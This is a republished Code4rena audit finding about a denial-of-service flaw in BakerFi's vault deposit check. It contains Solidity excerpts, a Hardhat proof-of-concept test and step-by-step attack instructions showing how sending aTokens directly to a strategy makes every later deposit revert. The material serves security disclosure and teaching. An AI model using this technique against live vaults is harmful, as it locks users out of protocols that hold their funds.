Skip to content
Business logic Audit finding Intermediate

Sending tokens to a Strategy when totalSupply is 0 can permanently make the Vault unavailable

The vault's deposit function rejects deposits when totalAssets is non-zero but totalSupply is zero. An attacker can send tokens directly to the strategy to make totalAssets positive before any shares exist, permanently blocking all deposits.

klau5 Follow with 0xlemon, MrPotatoMagic and 1 other

Originally disclosed on Code4rena

Submitted by klau5, also found by 0xlemon, MrPotatoMagic, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/3873b82ae8b321473f3afaf08727e97be0635be9/contracts/core/VaultBase.sol#L244

Finding description and impact

Before the first deposit or when all shares have been withdrawn making totalSupply zero, an attacker can manipulate totalAssets by directly sending tokens to the Strategy, making the Vault permanently unusable. Additionally, in normal usage scenarios, small amounts of assets remaining in the Strategy can cause the same issue.

Proof of Concept

When depositing assets into the Vault, VaultBase._depositInternal is called. This function only allows cases where both totalAssets and totalSupply are either zero or both positive. However, it’s possible to make totalAssets non-zero while totalSupply is zero. This prevents any user from depositing tokens into the Vault.

function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
    if (receiver == address(0)) revert InvalidReceiver();
    // Fetch price options from settings
    // Get the total assets and total supply
@>  Rebase memory total = Rebase(totalAssets(), totalSupply());

    // Check if the Rebase is uninitialized or both base and elastic are positive
@>  if (!((total.elastic == 0 && total.base == 0) || (total.base > 0 && total.elastic > 0))) {
        revert InvalidAssetsState();
    }
    ...
}

The totalAssets function returns the value of _totalAssets, which is defined in both Vault and MultiStrategyVault. These return strategy.totalAssets

// Vault._totalAssets
function _totalAssets() internal view virtual override returns (uint256 amount) {
    amount = _strategy.totalAssets(); // Calls the totalAssets function of the strategy
}

// MultiStrategyVault._totalAssets
function _totalAssets() internal view virtual override(VaultBase, MultiStrategy) returns (uint256 assets) {
    assets = MultiStrategy._totalAssets(); // Calls the totalAssets function from MultiStrategy to get the total assets
}
// MultiStrategy._totalAssets
function _totalAssets() internal view virtual returns (uint256 assets) {
    for (uint256 i = 0; i < _strategies.length; ) {
@>      assets += IStrategy(_strategies[i]).totalAssets();
        unchecked {
            i++;
        }
    }
    return assets;
}

For example, looking at StrategyLeverageAAVEv3.getBalances, if an attacker deposits aTokens into the StrategyLeverageAAVEv3 contract before any Vault deposits, totalAssets will become greater than zero.

function totalAssets() external view returns (uint256 totalOwnedAssetsInDebt) {
    IOracle.PriceOptions memory priceOptions = IOracle.PriceOptions({maxAge: 0, maxConf: 0});
@>  (uint256 totalCollateral, uint256 totalDebt) = getBalances();
    uint256 totalCollateralInDebt = _toDebt(priceOptions, totalCollateral, false);
@>  totalOwnedAssetsInDebt = totalCollateralInDebt > totalDebt ? (totalCollateralInDebt - totalDebt) : 0;
}

function getBalances() public view virtual override returns (uint256 collateralBalance, uint256 debtBalance) {
    DataTypes.ReserveData memory debtReserve = (aaveV3().getReserveData(_debtToken));
@>  DataTypes.ReserveData memory collateralReserve = (aaveV3().getReserveData(_collateralToken));
    debtBalance = ERC20(debtReserve.variableDebtTokenAddress).balanceOf(address(this));
    uint8 debtDecimals = ERC20(debtReserve.variableDebtTokenAddress).decimals();
@>  uint8 collateralDecimals = ERC20(collateralReserve.aTokenAddress).decimals();
@>  collateralBalance = ERC20(collateralReserve.aTokenAddress).balanceOf(address(this));
    debtBalance = debtBalance.toDecimals(debtDecimals, SYSTEM_DECIMALS);
@>  collateralBalance = collateralBalance.toDecimals(collateralDecimals, SYSTEM_DECIMALS);
}

Furthermore, this issue can also occur in normal usage scenarios. When all shares are withdrawn from the Vault, totalSupply returns to zero. However, when calculating the number of asset tokens to give to users, the result rounds down. Therefore, a small amount of asset tokens might remain unwithdrawn in the Strategy. Subsequently, this Vault becomes unusable.

function _redeemInternal(
    uint256 shares,
    address receiver,
    address holder,
    bool shouldRedeemETH
) private returns (uint256 retAmount) {
    ...

    // Calculate the amount to withdraw based on shares
@>  uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
    if (withdrawAmount == 0) revert NoAssetsToWithdraw();

This is the PoC. You can run it by adding it to the Vault.ts file.

it('PoC - DoS before first deposit', async function () {
  const { owner, vault, strategy, aave3Pool, cbETH, otherAccount } = await loadFixture(deployFunction);

    // attacker deposit cbETH to the aave3Pool and get aToken
    const amount = '10'; // 10 wei
    await cbETH.transfer(await otherAccount.getAddress(), amount);
    await cbETH.connect(otherAccount).approve(await aave3Pool.getAddress(), amount);
    const tx = await aave3Pool.connect(otherAccount).supply(await cbETH.getAddress(), amount, await otherAccount.getAddress(), 0);

    await expect(tx)
      // @ts-ignore
      .to.emit(aave3Pool, 'Supply')
      .withArgs(
        await cbETH.getAddress(),
        await otherAccount.getAddress(),
        await otherAccount.getAddress(),
        10,
        0,
      );

    // send the aToken to the strategy
    const res = await aave3Pool.getReserveData(await cbETH.getAddress());
    const aTokenAddress = res[8];
    const aToken = await ethers.getContractAt('IERC20', aTokenAddress);
    await aToken.connect(otherAccount).transfer(await strategy.getAddress(), 10);

    expect(await vault.totalAssets()).to.be.greaterThan(0);

    // first deposit failed, because the strategy has a balance
    await expect(
      vault.depositNative(owner.address, {
        value: ethers.parseUnits('10', 18),
      }),
    ).to.be.revertedWithCustomError(vault, 'InvalidAssetsState');
});

Recommended Mitigation Steps

Create a function that can withdraw assets when totalSupply is zero but totalAssets is non-zero. Call this function in _depositInternal to clean up the Strategy.

chefkenji (BakerFi) acknowledged and commented:

This issue was already reported in previous audits. We have decided to seed the vaults to now allow the minimum number of shares to be achieved and prevent first depositor attacks,

https://github.com/code-423n4/2024-05-bakerfi-findings/issues/39


The original report as published on Code4rena, by klau5. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The deposit check requires totalAssets and totalSupply to be either both zero or both positive, but direct token transfers can make totalAssets positive while totalSupply remains zero.

Impact

The vault becomes permanently unusable because no one can deposit, and the same issue can occur after all shares are withdrawn due to rounding leaving small assets in the strategy.

What the attacker needed

No shares exist (totalSupply is zero); attacker can send tokens to the strategy

The fix

A function should be added to withdraw assets when totalSupply is zero but totalAssets is non-zero, and it should be called in _depositInternal to clean up the strategy.

How it was found

  1. Attacker deposits a small amount into Aave to receive aTokens.
  2. Attacker transfers those aTokens directly to the strategy contract.
  3. The vault's totalAssets becomes greater than zero while totalSupply is still zero.
  4. Any user attempting to deposit receives an InvalidAssetsState error.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault holds user money and tracks shares. If someone sends tokens directly to the vault's strategy without owning shares, the vault sees assets but no shares. The deposit check then refuses all future deposits, locking the vault.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by klau5

View all

21 more disclosed reports, best first.

More from BakerFi Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.